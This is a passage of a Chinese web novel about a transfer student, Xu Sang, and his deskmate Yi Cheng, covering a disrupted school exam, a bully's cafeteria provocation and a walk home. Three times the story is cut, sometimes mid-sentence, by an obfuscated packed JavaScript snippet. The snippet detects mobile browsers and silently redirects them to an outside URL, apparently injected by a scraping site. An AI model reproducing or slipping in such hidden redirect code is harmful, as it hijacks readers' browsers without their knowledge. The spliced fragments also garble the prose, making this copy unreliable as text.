课桌还算完整,不像旁边那一列,有两张桌子在“金鸡独立”,有三四把椅子缺了条腿儿弓着背要栽但还没栽……当然,这桌槽点也是有的:桌面很脏,上面蒙着薄薄一层灰。 许桑抿唇,还算平静地抽了两张纸,先擦了遍座椅,将书包放下。 教室里闹腾腾的,明显是在说闲话骂脏话的音量没有丝毫降低,相反,恨不能拿个扩音器怼嘴巴上,让全世界都听见。 许桑将纸折叠一次,刚落在桌面,两步之隔的过道里,自讲台那头,冲下来一人,来势汹汹,飙脏话时口水乱溅,短暂助跑后,他冲下来拧住第二列后排女生的头发,往地上狠地“摔”砸。 女生头发长,被拧着发尾,没受到实质性伤害……许是这一下还没尽兴,他脚步一滑,上半身跟着旋转,拽着女生,没有方向地胡乱一甩! 许桑直觉比较准,几乎在男生撒手的一瞬间,便往后一退。但没想到,男生没断了动作持续上前,踢向女生的腿瞬间拐了方向。 对着他来的? 许桑敏锐躲开他的动作,不过,周遭可用空间实在有限,脚踝堪堪撞上后桌桌腿时,他往后一仰。 没等到他转手借桌面撑起自己,后腰被人轻轻一揽,而后上半身被拉起。 易承将人扶住,转眼看向邓茂光时,眸中尽是冰寒的狠利。 上一秒还霸气郎当,下一秒就软了腿,邓茂光皱深了眉,骂道:“怎么哪都有你,真他妈烦啊!” 这时,地上的女生爬着坐起来,嘴角破了皮,但没流血,只是看着稍稍有些肿胀。 她撩了两把乱成钢丝球的头发,扯着嘴皮冷笑,“邓茂光,你敢打我!” “不打你那是老子脑子有病……他妈敢给我跨校戴绿帽子,你真他妈贱啊,还骂老子丑,是吧!”邓茂光食指直愣愣伸着,就差戳着女生鼻子骂,后半程,还反指着自己,嘴里一顿叽里咕噜。 进了考场的人手忙脚乱地顶着课桌左右移动,没进考场的人东张西望、忍着几十米之外监考老师的目光,“腹背受敌”般地进退维谷。 许桑立住时,低眸瞥了眼落在腰侧的手,轻顿,“可以放开了。” 易承“嗯”了一声,撤回手时,才后知后觉地回味了遍。 实在是巧了,今早余留的空闲时间比平时多些,他老早把秋秋送走,就一路“飞”来学校,踩着考试铃声前奏进来,刚想坐着歇口气,跨进门就遇到这么一幕。 说实话,这么长时间以来,他对这些打斗算计几乎见多不怪,有时还会冷眼以观,貌似心头那捧少年热血,在无数个日头落下的暗夜里,早已被夜色浸冷。 可不知为何,在看到许桑敛眉退后的那刻,心头有股莫名的烧灼意。 脑中信号还没传达明白,身体就先一步行动……揽上腰的那刻,竟意外有种安心的感觉。 怪怪的,定是出门前脑子被秋秋传染了什么愚蠢型病毒。 “请考生注意,开考信号发出后,才能答题:若考生提前作答……” 最后一道正式考前的指令响起时,邓茂光晃晃脑袋,歪着嘴回了座位,把猪头一般大、还满当当塞得鼓囊囊的笔袋往桌面一砸。 监考老师抱着一摞卷子答题卡,满脸写着烦,磨蹭了好久才从试题组的办公室走出来。 不知道的还以为,即将参加考试的是她呢。 苦着脸推开前门,她用来发怨、捏得死紧的各类纸张,哗啦啦散了一地! 究其原因:门推开的同时,“砰!”地一声,邓茂光借着笔袋的力量,一拳砸断了本就脆弱不堪的课桌。 木板片片炸着裂开的那一刻,邓茂光要坐的板凳,前腿斜斜滑落,他跟着一屁股往前,完全是百分百贴合地坐在了地上。 “现在开始答题,现在开始答题。” 长达十五秒的铃声,久违安静地绽放在末考场。 许桑若即若离地倚靠着后桌,而易承紧挨着他站,他能听到,稍滞后于那断裂声的一声轻笑。 洒落在耳垂,激起一阵若有若无的酥麻。 他偏了下头,转移注意般,稀里糊涂问道:“你们校风这么松弛的吗?” “也许。”易承看了他一眼,“怕吗?” “不怕。”许桑语气平常,“只是感觉很神奇。” 自小到大,他经历的糟糕事不少,甚至有些,郁积的情绪足够他把自己锢囚在阴影里,用余生来食啃、消化。 但自从来了这儿,貌似每一帧,都糟糕透顶。 像垃圾堆。 远远看时,便想逃离; 靠近细嗅,上辈子偷吃的零星,都要吐出个彻彻底底! 可即便如此,依旧有人生存着,甚至日夜生活着,以不尽的言语,以不灭的怒火。 “神奇?”易承咂摸了两下用词,“我以为,该是神经的。” 许桑侧目,看向他的眼中,带了些强势的探究。 明明没说话,可眼神里却溢满了压迫感……易承“啧”了声,难怪初次见面他会认错人,这眼神,还不够“黑”? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069708|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太够了。 他别开眼,清清嗓子道:“考试了,同桌。” 许桑轻勾唇,“嗯。” 若非这场“事故”,想必学生还get不到这次月考的“含金量”。 负责场外巡视的徐贵,听到监考老师拨通的电话,快马加鞭就飞奔而来,手上戒备已久的晾衣杆拄在门口,他人就探进来,“谁在扰乱考场秩序!” 姗姗来迟、但完美卡上点进教学楼的胖姨,冲进后门便使出大嗓门绝技,一声就足够贯通人天灵盖的那种,她叉着腰: “考试期间,要闹事儿的收着点儿,老娘三秒钟给你骂成孙子,你信不信!” 声音过分尖锐,像强行塞了根钢筋穿破耳膜、插进脑髓里搅和…… 许桑轻皱眉,“嘶。” 易承刚落座,把板凳往前带了些,凑他颈侧,轻声道:“之前忘跟你说胖姨的威名了。” 他微偏:“什么?” “警报器。”易承淡声,“不过不知道这半年,她升级没有……” 许桑眸光微凝,抓了个有些偏的关键词: 半年? 监考老师顿时长舒一口气,弯身捡起散得并非不可收拾的纸张。 等她抬头,才发现,徐贵两手架着邓茂光、胖姨单肩扛着那女生,两人步调出奇一致地出了门。 过了两秒,徐贵迈着小碎步回来,把地上断出粉末状木屑的课桌兼课椅一同搬了出去,一手扛一坨,像无脑增肌的“超人”。 教室里静如死鸡。 十分钟后,监考老师把卷子兼答题卡一并发了下来,顺带走到讲台上,看着头顶不知是刻意还是无意、被调快了十分钟的钟表。 沉思片刻,她抽出椅子坐了下来,强调考场规则:“别作弊,认真做。时间掌握在自己手上,虽然是有客观条件,但人是有主观能动性的,所以,刚刚耗掉的十分钟时间,不予以增补。” 许桑写好名字,便沉浸进题里,没管一教室的“暗波涌动”。 “老师,我有异议!”一个看似营养不良、满头泡面发的男生举起瘦成笛子的手,腼腆道。 “异议什么?” “我们没参与打架,也没破坏桌凳……实在不明白,怎么在完全旁观甚至有些受害者视角的情况下,发挥人的主观能动性。基于这一点,我认为,十分钟应该补回来!” 他这话一落,稀稀拉拉响了几个巴巴掌。 “有你说的工夫,题都做了几道了。”监考老师手肘落在讲台上,多说了两句,“刚才十分钟,第一排的男生,捡起试卷和答题卡,已经做到第3题了……还怎么发挥人的主观能动性!” 二十来道视线轰向第一排男生,那男生连忙转了朝向。 “……”而勇敢提问的男生垂下头,埋着他的猴屁股奋笔疾书。 两个半小时,准确来说是两个小时二十分钟过去,“考试结束”,胖姨从后往前收,监考老师从前往后收。 徐贵站在中间,脑袋时刻不停地一百八大转圈,像个人形的监控器、警告器。 这一通监视下,比考试时,这群学生还要老实。 “这字儿漂亮啊。”胖姨捞了易承的卷,上前一步又摸到许桑的卷,大概有几分“熟人见面”的缘故,她分外欢喜,“招人喜欢。” “谢谢。”许桑礼貌应道。 “嗯哈哈。”胖姨往前收两步,脸顿时黑下来,但她声音天生低不下来,看似自言自语,实则昭告天下:“妈呀,同学,我家鸡爪子乱踩都比这写的好……咦~” 14. 第14章 在“争分夺秒”的赛道上,不夸张的说,南城附中是准能甩其他高中十几条街的。 语文答题卡收完,在短暂的五分钟休息时间结束后,又开始了理综的测试,再精准压缩些中午午睡时间,赶在上晚自习前,彻底结束了他校至少为期两天的月考。 “哎哟我的妈,终于考完了!” “解放解放,今晚好好犒劳一顿自己,我要吃酸辣粉,加五个煎蛋,嘿嘿嘿…” “考完就一个字:爽!” “呵呵,后天成绩出来,就一个字:死!” 回到原班,把拉开间距的桌椅拉回原位,简单打扫完卫生,理一班才放人去抢饭。 许桑也是到这时才发现,他同桌不见了。 不过应该提前回来过,桌上摆着两支笔——一支2B,一支普通黑色签字笔。 像走什么极简风。 好在本来就靠墙,易承的桌子挪动需求并不大,往前拉一些便足矣。 “许桑,你要去食堂吗?”吕丁脸上泛着活力的微笑,手上旋着“久经风霜极度沧桑”的饭卡。 许桑点头,“去。” “那我们四一起。”吕丁蹭地跳起来,站到后门门口,字正腔圆:“今日目的地:学校食堂。来来来,跟紧我,别丢了!” 他这一嗓子吼完,半个班还没来得及脱身的人都扭头看向他。 “吕丁,你不要脸我们要啊……”陈慢冲出过道,一把把人推出了教室。 许桑提步跟上,身后赵鸿途保持匀速跟在他旁边,做了几次心理建设后,问道:“许桑许学霸,数学选择最后一道你选的什么?” “嘿!不许对答案。”吕丁回头气势汹汹。 “你别听不就好了,再说,已经考完,成绩又不管你听没听到答案了。”赵鸿途看着他跟吕丁这隔了快一楼的距离,有些无语: 什么耳朵,掏这么干净! “没办法,我耳朵尖……你一说答案,我就感觉是你在跟我说。”吕丁道。 陈慢在一旁小声: “隔老远说话,就像趴我耳朵边低语”,你妈这又走的是什么狗血文套路…… “行行行!” 把人忽悠走,转头,赵鸿途就朝许桑抛了个媚眼,无声,但明显在示意:说,说,跟我说。 “……”许桑一时失语,在他饥渴的眼神下,轻飘飘地说了句,“A.” “啊?”赵鸿途满眼的期待极速坍缩,褪成久久的凝滞,他上嘴皮撩拨下嘴皮半天都没合上,直打着哆嗦,“怎么会,我算出来刚好就是D啊。是我哪个地方出错了吗?怎么会呢?我还专门验算了一遍……” 许桑莫名其妙:“标答还没出。” “但你这么厉害,肯定是不会错的!我信你,所以我肯定是算错了,这次又粗心,或者看错条件了,我他妈怎么又犯蠢了……”赵鸿途方才的热情完全被浇灭,现在像尊行尸走肉般两眼空洞。 许桑停了脚步,看向他。 接触并不多,但从陈慢和吕丁的言行看来,赵鸿途在这班上,排名应是不低,或者,至少也是能跟所谓“学霸”挨边的存在。 平日里总爱跟难题死磕,连着两三堂不休息憋着尿都要算完……理论上来讲,不至于这么不自信。 你这么厉害,肯定是不会错的。 许桑很厌烦这样的逻辑,纯粹是“胡搅蛮缠”,他冷声,“谁告诉你的?” “什么?”赵鸿途被这一眼看得脊背发凉。 许桑没答他的问题,默了两秒,只道:“一道题而已,别轻易上升到人。” 赵鸿途把捧着头的手放下,怔怔地看着他,半晌后,才大梦初醒般地道:“……一道题而已。” “嗯。”许桑提步,跟上前面已经领先两层楼的人。 “不是吧?这什么人山人海的大阵仗!”吕丁带着“队伍”,被残忍得挤到了食堂门口干站着。 头顶是黑底红字的滑屏,上面滚动着今日菜单。 拨开光鲜亮丽的修饰词,其实除了饭就是面还有粉。 许桑看了眼滑屏后上角的时间,顺口一说:“要不吃面包?” “现在去,面包架子上只有空气了。”吕丁稳重发言,“不过别担心,还有半个小时才打上课铃,等等还是能到的。” 看着一眼望去全是人、甚至连餐桌都隐身了的人流状况,许桑承认,一瞬间他似乎失去了这方面的时间概念,便应道:“好。” 十分钟左右,排的队散得差不多了。 吕丁回头对许桑说:“这队伍就是看着吓人,食堂阿姨那手飞得可快了,两三秒一碗面,根本不在话下……阿姨,一碗牛肉面,多加牛肉。” 阿姨加完配料,把碗推出来,像个没有感情的机器:“牛肉没了。” “呃……”吕丁退到一旁,跟许桑抱怨了句,“牛肉面没有牛肉,旁边这队也快没人了,你可以去吃刀削面或者酸辣粉什么的。” 许桑“嗯”了一声,便往旁边走。 “诶,许桑,我们在这等你!”吕丁把面碗放在桌上,去拿筷子前原地蹦了蹦,朝许桑挥手。 许桑只动了个口型:“好。” 走完这一排排吃食,许桑选无可选,最终停在了蛋炒饭面前。 “要吃蛋炒饭是吗?”举着大勺等了半天没蹲到人的阿姨,笑脸盈盈。 “是。”许桑应道。 “好嘞!刚好快没了,姨给你多舀一点儿。”阿姨端过大盘子,舀了两勺后还用另一头压实了,端出隔窗时,笑道:“小伙子长得帅啊,阿姨多给你两个卤蛋。” 许桑有些意外,“谢谢。” 刚想刷卡,就被重重一撞,他轻顿,转头就看向装模做样收胳膊肘的邓茂光。 随着他的出现,身边莫名涌了些人过来,有用饭盘盖着脑袋“隐身”凑热闹的,也有扒着大柱子探个脑袋时不时看一眼的,当然也不乏光明正大立在旁边直白盯着看的。 邓茂光朝阿姨笑出参差不齐的牙齿们,“阿姨,一份蛋炒饭。” 阿姨瞬间收了笑,转身去取盘子,低声嘟囔了句:“缺两颗牙,方不方便吃炒饭哦……” 这头,邓茂光扭头:“哟哟哟,咱们新同学终于来食堂吃饭了,我还说请转校生吃一顿,来增进增进友谊,结果等了几天都没等到。” 许桑错开一步,眉目疏冷,将方才没刷完的卡刷上。 “哔”地一声,卡机上报出:“扣费9元,余额1元。” 还没等他收回手,邓茂光就皱着眉头跟着一刷,享受性地听完那声——“扣费9元,余额250元。” 人群有些叽喳,盘子碗凑热闹地“尖叫”了两声。 “牛逼,都不知道该嘲一块还是笑250了,哈哈哈……” “哈哈……第一次听到这么标准的250,小声哔哔一句,也是第一次看到这么标准的。” “怎么又是他俩,今早我在最后一个考场,就看他俩暗地里有点儿什么摩擦,还拿人女生当幌子,真他妈贱。不过没想到邓茂光被押走了还有精力搞事情啊。” “这又是什么事,听着好他妈刺激、炸裂!!你给我讲讲,发群里也行,快啊快啊!” 零零碎碎听到些闲话,邓茂光先是顿了一下,心里骂道“靠,刚就不该买一堆零食”。 面上还算端得住,他特地拔高声音道:“新同学生活上有困难吗?食堂馒头都要五毛,还得配饭算钱,你总不能吃两顿就不吃了吧?要不要我跟你们老师说,帮你申请什么贫困补助啊?我爸认识几个老师,只要你开口,这事情包容易的,就是需要你先喊我声‘大哥’,大哥帮小弟,那才能,天经又地义,你说是不是?” 人群轰动了一下,又多围了一层。 说实话,这种丝毫没有技术含量的侮辱词,放在之前,他甚至没有耐心听完开头那半句。 许桑低眸,看了眼他横在自己身前的脚。 套着双杂牌子的黑鞋,底下是模仿车轱辘外壳的塑料条,边缘处摩擦多了,有些掉皮……肉眼可见增高了有那么几厘米不止。 不过,貌似还是矮了近一个头。 许桑语气尽量平静:“让开。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069709|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我又没拦你,让什么让!”邓茂光瞪着眼,哼了一声凑近他,“而且,我这是好心帮你,你别不领情还反咬我一口。这么多人看着呢。” 许桑皱眉,眼神里翻出一层冷,刚往后退了一步,邓茂光就追上来一步。 想着,他虚退一步时单脚挑开邓茂光没收完全的腿,趁人单腿滑倒时,端过盘子,跨过人,便走回吕丁占的那桌。 动作流畅轻巧,丝毫不拖泥带水。 “你!”邓茂光还没弄清楚状况,就一个竖叉下去了。 关键还没劈下去,扯着大腿根儿,脸痛得一抽,随即就横着倒翻在地上。他用歪斜的视角,看着从自己张开的指缝前走过去的人,顿时觉得怒火中烧。 围着的人群看完热闹就散了,当然还有看热闹不嫌事大的,拿着手机“咔嚓”两张,偏还忘了关闪光灯,闪了地上那位两大眼,给人“激动”得原地打滚。 邓茂光从地上坐起来,恶狠狠地看向许桑走的方向,骂道:“咱们走着瞧!” 打饭阿姨见多不怪,尤其这位,看到一半就开始打哈欠,干脆双手捧着脸,盯着许桑的脸,里三层外三层地翻来覆去看。 见闹剧结束,她才恋恋不舍地把饭盘递过去,对邓茂光说道:“卤蛋卖完了,饭也不多了,将就着吃吧。” 地上油汤滑水的,邓茂光原地刺溜了半天,才勉强稳住身形。 本想借着那同学的镜头,展示霸气的一面,不料——单手旋转接过饭盘时,里面的炒饭,穿了连体衣一样,“嗖~”地飞了出去。 留了一粒儿死死扒着盘子的米。 许桑回到这桌时,三人鼓着眼,齐刷刷地把他看着。 他默了声,熟练地用两根筷子分离蛋黄蛋清,弄完,他问:“怎么了?” “太牛逼了,兄弟!”吕丁起头,后面两人雷同地跟付,还用筷子拍了场刺耳的“掌声”。 “……”许桑拨开蛋黄,将蛋清混着拌进炒饭里。 “你不知道,小小邓仗着他爸有两个臭钱,成天在学校里搞什么叫大哥活动,还建立了个什么狗屁帮会,名儿我忘了,反正到处加人,加上了就交会费……”吕丁趁着扒热闹时,就干完了这碗没有牛肉的牛肉面,此刻说得津津有味:“今天算是吃瘪了,哈哈,你真牛逼!” 许桑舀了口饭,毫无意外地发现,这饭味道实在不怎么行。 相比之下,卤蛋还行,至少有个味儿,也不油。 他草草吃完两口垫肚子,问了个正经的问题:“哪儿能冲饭卡钱?” “啊?你还没充钱啊?”吕丁诧异发问,回想起刚刚看的热闹,跟个傻小孩儿似的笑起来,“不是,妈的,真他妈搞笑……所以,你压根儿没充钱,饭卡里就办卡自带的10元底钱。然后,小小邓搁你面前炫富……牛逼,这不鸡同鸭讲吗,能炫起来?” 许桑默声吃饭,不太能适应头脑如此发散,话如此多,笑点如此低的“桌友”。 “哦,正经的,明天你去小卖部旁边的小屋,那儿专门充值的。” “谢谢。”许桑道。 “害,张口之劳。”吕丁看着三个都埋着的头,摸了摸有些空的肚子,只好借“说”转移注意: “说到这个,我要吐槽一个点,小小邓开学时,当着长队近百人的面,问:‘阿姨,你们这最多充多少啊?’你猜阿姨说什么,‘最多两个亿,充吗?’我服了,当时啊,哈哈哈哈……” 等吕丁笑完,许桑已经把能吃地豌豆米、玉米粒都吃了,对剩下的大半盘实在提不起胃口,他起身:“走?” “走,走。” “走!” 许桑端起托盘,转身就对上阴郁着张脸的邓茂光,轻顿。 相比方才,这回,吕丁三人,相当默契地站在了他的身后。 他眸光轻顿,兀地被一种异样的情绪包裹,连反应都跟着慢了两秒。 邓茂光没敢直视许桑,往后又被吕丁的警告性的眼神控住,于是,到嘴的词儿,犹豫半天才吐出,只是气势上,较之先前,可以称之为没有,“新同学,放学等着!” 15. 第15章 像青春期女孩儿给喜欢的男生递情书,邓茂光撂下这句话,就红着脸“娇羞”地跑开了。 背影可劲儿的……这内八还挺让人无语的。 “……”许桑收回视线,继续方才的动作,去一旁放盘子筷子。 吕丁紧紧缀在许桑身后,捧着肚子咯咯地笑,“咳咳,许桑,放学等着!妈的笑死我了,昨天在厕所怎么说来着,放学来后门谁不来谁孙子,是不是?太小学生发言了……” 许桑淡淡地应了他一声,等他话说完,才问道:“哪能洗手?” “食堂外面就有。” 天色渐晚,走出食堂后,学校灰蒙蒙的。 回头看食堂,血红的字落在黑幕之上,滚动间,带起莫名恐怖的氛围。 许桑转到食堂旁,隔着矮墙,能探明白外面的光景,不过也是黑瞎瞎一片,辨不清。 这里一排水池子,上面安着一排水龙头。 污垢很厚,“池”底还泛着淡绿色青苔,许桑将就着洗完手,刚抬头,就见矮墙处,一利落的身影翻了进来。 身形莫名很熟悉? 他看了两眼,没管闲事地收回目光。 “我靠,越来越冷了,感觉现在穿棉服都不为过。”陈慢站在吕丁身后,借他不算宽的身形挡风。 “是有点儿冷。”吕丁双臂环胸,把身体压实些,这样暖和,“突然又想到老徐的经典语录:你们是来读书,不是来享福的!下不了零度,空调不能开!真他妈牛逼,我记得初中学地理,我还问过地理老师,人说咱这儿是亚热带气候,冬天基本都是零度以上。不过,体感温度和实际温度怎能相提并论呢,而且,到底测温度是单纯测温度,还是有几分为人着想为人行便利呢。” 许桑多看了他一眼: 虽然大部分时候,吕丁的话都挺像废话的,但有些时候,他的思考角度,着实清奇。 清奇到,不知觉就被他搅和到他的观点里去了。 “我也是说,有种这辈子空调跟咱无缘的感觉,老徐真是……让人有磨牙的冲动。”陈慢走着走着就抱着吕丁,取暖。 “这是什么牛逼的冲动?”吕丁问道。 “丧尸想吃人前不先磨牙吗?万一牙齿顿了咬不断呢。” “……”许桑双手揣兜,听着两人一来二往的交谈,步调都跟着放松了些。 比之之前,貌似多了些喧嚣。 但,未尝不好。 “许桑,你觉得这次月考难度怎样?” 吕丁印象中,许桑数学挺好的,但除此之外,还把他归为同水平线的人: “有没有感觉到变态?我手都算出幻影了,理综都没写完;还有那个语文,开篇议论文研究猴子就算了,结尾作文写什么,‘有意思’和‘有意义’,笔都咬掉一层皮了我都憋不出一个字……” “我也我也,太他妈变态了,高考要这难度,我保准提前收拾东西去工地打地铺!”陈慢坚定,“一秒不带犹豫的。” 事实是,高考不是慈善…… 许桑轻顿,回想了一遍后认真回答:“还行。” “还行?”吕丁上前一步,用拳头比出个话筒形状,递到许桑面前,“这种评价,就跟没评价一样,不作数,重来。采访一下许桑同学,请问这次附中的月考,留给你最大的印象是什么?或者说,给出你发自内心的评价。” 许桑尽力配合,回道:“题型乱,没有难度梯度,做起来没感觉。” “啊?”吕丁眼神都混浊了,“什么卷子做起来能有感觉啊?除了难,就是简单;除了能做,就是做不来……不,不是吗?” 许桑看着他,沉了很久,违心地道:“……是。” “嘿嘿,我就说嘛。”吕丁拍拍胸脯,往前继续带路。 几乎是卡着上课铃打响的点进教室,许桑坐下时,发现身旁的人又趴着睡下了。 “这节课我要批卷子,你们安静上自习。”徐富抱着电脑进来,戴上他的老花镜就埋进了答题卡丛中。 数学课代表上讲台,拿粉笔把选择填空兼大题答案都写了上去。 选择题刚写完,下面就翻浪似的翻起一阵哀嚎。 “后几题看都看不懂,全蒙的,结果一个没蒙对?这是什么运气!” “为什么?我都研究两学期了,这个郭老师出题,最后两题不是喜欢BD两个选项吗?怎么会,怎么会有CA的搭配存在?啊啊啊!!!” “牛逼,答案CA,我蒙的AC,十分啊,我的十分,就这么没了……” 课代表拿起戒尺拍了拍黑板,尽责地招呼一声:“安静,自己改错,下周一收改错本!” 教室里分贝低了不少,由敞开了的“抱怨”降至同桌或是前后桌的低声“讨论”。 许桑平静地对完答案,挑了两个题做了些题型总结,就拿出资料书继续刷题。 “许桑,能帮我看看这道题吗?”赵鸿途对完答案,终究是死磕在了最后一道选择题。 “可以。”许桑落笔,回应他时,脑中将没算完的两步继续,得出答案时,正巧接过赵鸿途递过来的草稿纸。 他先落下答案,而后自然地看向草稿纸。 比较清整的算题习惯,特地标了题号,划定了草稿区域……当然,这也不妨碍第一步就算错。 许桑淡声:“抛物线,焦点在y轴上。” “啊?哦!”赵鸿途转过身,两手扒着卷子看了半天,激动得上窜下跳,“我靠,这么简单的细节,真他妈蠢,我做题做习惯了焦点在x轴上的,太惯性了,啊!谢谢你,谢谢……” 许桑“嗯”了一声,顺便问道:“那你第一题也错了?” 印象里,第一题简单得奇葩,是选抛物线的准线。不过,也一反常例,同样是焦点在y轴上。 不考能力,纯粹考细心程度。 “没有吧……” 赵鸿途被说得有些茫然,他平时成绩还不错,几乎养成了从六七题开始对答案的习惯。 自信地转过身,把看了眼卷子上第一题标的答案“C”,而后,抬头,从一堆复杂得没有美感的答案中,焦急地扫向第一题,视线反复横跳,最终确定是“B”时,他灵魂一颤,“我靠!!” 吕丁被他这声惊了一跳,连忙问道:“怎么了?全对?” 赵鸿途耷拉着脸,“我居然一个坑摔两次,开头结尾都吃一次屎!” “……”吕丁回头跟许桑对视一眼,两人都短暂沉默了两秒。 “这次考试,难度还是很高的。”徐富阅卷都闭不上那张嘴,“毕竟是别人重点学校出的拓展题,几个出题老师时光顾着题好,没商量,更没注意难度安排。所以,觉得难是正常的,要我坐考场上,也要算得头疼。” 感受到体谅的学生们,上一秒还怨气满身,听到他的话,顿时就泪眼打转。 “多正常,可别一次就考崩了啊!”徐富手上动作比较慢,耐心浏览完一道题的过程,才点到下一题,“我在批压轴题,批到现在,快150份了,还没批到一个全对的,可想而知,这难度还是有的……你们现在改错,就不要逮着看都看不懂的题死磕,挑些至少能看懂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069710|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不然,保准虐得你们死去活来……” “老徐这话说的,有良心。”吕丁看着一张试卷上,十二道选择题,八道是红笔印迹,从才陷入的深深自我怀疑中抬头,用胳膊肘子点了点赵鸿途,问:“错几道?” 教室里人多,空间小,很容易发闷,尤其是在数学课这种需要脑力运转到缺氧的时间段里。 赵鸿途脸上飘红,憋了半天,才道:“我也做得不好,错了2道,哦,还有第一题,一共3道,唉,太难了……” “3道而已,算个屁!”陈慢从前面转过来,满脸泪痕,“我从第七题开始,后面全错!是的,你们没听错,全错!一个连一个,都他妈给我气笑了!” “牛逼,这个是真牛逼!”吕丁忽地转头,看向许桑。 见他满眼心思尽在题上,而摊开在桌面上的,全是长达六七行的文字类题干,看的他都有些麻爪,欲言又止几回,还是选择转回脑袋。 太有距离感了,不敢打扰。 考完试,能感受到半个班的人都松下劲儿了。 放学铃声打响的那刻,尖叫声此起彼伏,邀饭的,约游戏局的……比杂耍园还多元。 “许桑,先走了!拜拜拜拜!”吕丁背上书包,不加掩饰地夹着手机就往外跑去,面上是压不住的笑意。 “再见。”许桑埋头继续做题,思绪里没染上分毫其余。 等再次抬头时,教室里又一次空了,凉飕飕的风,在少到几乎没有人的教室里,格外嚣张,从头吹到尾贯通不够,还要从左吹到右,以显风范。 许桑收拾好东西,单肩挎上书包后,偏头看了眼身边貌似睡得正熟的人。 平日里,易承爱笑,总是吊儿郎当没个正形,任谁来了都要点评一声——“青春期叛逆少年”。 近几天听了些关于他,零零碎碎的传闻与过往。 除了颜值,其他方面全是恶评,还是数一数二的“恶”。 许桑起身,将凳子推进去,照旧关灯离开时,垂眼,多看了他两眼。 若猜得不错,傍晚翻墙进校的,就是易承了…… 不笑时,眉眼间带着些细微的疲惫。此时侧着脸,从平稳的呼吸判断,睡得很沉。 给人一种他睡死过去了的错觉。 许桑瞄了眼他两胳膊下半压着的试卷,最上面一张刚好是数学,能看清的那一半,散布着凌乱不堪的计算过程,蛮鸡毛蒜皮的,没有能串起的逻辑线。 像是算到哪步,觉得重要了,就停下来写上一笔,或是简单做了个标记。 视线微往下,能看到他最后选择两个题,没有写下字母,只单纯在答案上打了两个小勾。 看清内容时,许桑眼中闪过一些微妙的情绪,按灭灯,随手将他搭在椅背上的外套往上披到他身上。 捻着衣角的手刚落在他颈侧,手腕便被拽住,而后一声轻笑迭出,易承坐正了些,勾唇道:“同桌。” “……”许桑微顿,手腕被拽着,他被迫半弯着腰,几乎与人是平视的状态。 光线暗得一如当晚,只是这回,少了些暗波涌动。 “上次衣服也是你的?”易承才睡醒,声音不免沾染了些哑,说话间,音色沉了不少。 许桑收回手,有些类似尴尬的异样感觉沉浮,短暂沉淀后,他淡淡道:“是。” “谢了。”易承迅速将外套穿上,道:“我洗干净还你。” “嗯。”许桑没拒绝。 易承起身,瞧了眼外边的天色,视线落回咫尺之近的人身上,“作为报答,送你回去?” 16. 第16章 出了校门,外面摆着的小吃摊基本都散了,只零星留了些两三轮车跑没油、单凭力量收摊推车回家的商贩。 走出学校所在的这条路,路两旁,就多了些没品种的老树。 老树长得歪头就拐的,就一条街看下去,找不出一根直的枝干。底部的根,寻欢一样往街道靠商店房子那侧拱,多点揣测恐怕就要以为树也爱凑热闹…… 顶上,树干们蜷曲着,取暖似的挤在一堆,就连叶子脱落都脱得极有规律,要秃一片全秃,要留留一片枯黄。 风一吹,边角老得失了形状的叶子漫天飞舞。 易承拍开落在头上的几片叶子,嫌弃道:“怎么还没掉完?” 许桑看了他一眼:“……” 接收到他的目光,易承道:“别这个眼神看我,你头上也有叶子。” 许桑微滞,抬手轻扫了下头,什么都没有,他忽地意识到什么,停步冷着看向他,“骗我?” 被他严肃的模样逗到了,易承笑着,自然地抬手,将斜插进他耳上发丝间的小片黄叶取下来,窝在手心摊在他面前,“看,真没骗你。” 距离意外被拉近,许桑不太习惯地别开眼,“嗯”了声,便随手拉了下有些下滑的书包带子,继续往前走。 “啧。”易承也没什么情绪,吹掉手心里的叶子,便跟上他的步子。 将人送到路口,易承没越界地往前,简单做了个道别,就往家里走。 四下里,几乎没有人影的存在。 易承轻叹气,抬手在肩颈处重力按了两下,卷着一身被深藏的疲惫,挪回家。 三两分钟的路程便到家了,他诧异了两秒,想起那夜突兀的一家灯明,两秒后,又摇头。 天下没那么多巧事。 回到书房,易承嘴上叼了只铅笔,一手翻着手机里的进货清单,另一手翻着账目本,摊平后,他取下笔,把各类水果分类标记好种类和需求量,而后,翻了下近期价位,确定好进价区间后,才落笔。 入秋后,天亮得越发晚、天黑得也越发早了。 对于果蔬类的商家而言呢,相应的,开摊时间可以有所推迟……但其实与夏天没什么区别,多了些天气上的苦寒,早上能见度也降低。 或许细细比下去,还要麻烦艰难些。 收拾完,易承看了眼秋秋,确认她没有滚下床后,慢悠悠地晃回房间,没有再看手机的闲心,倒头就睡。 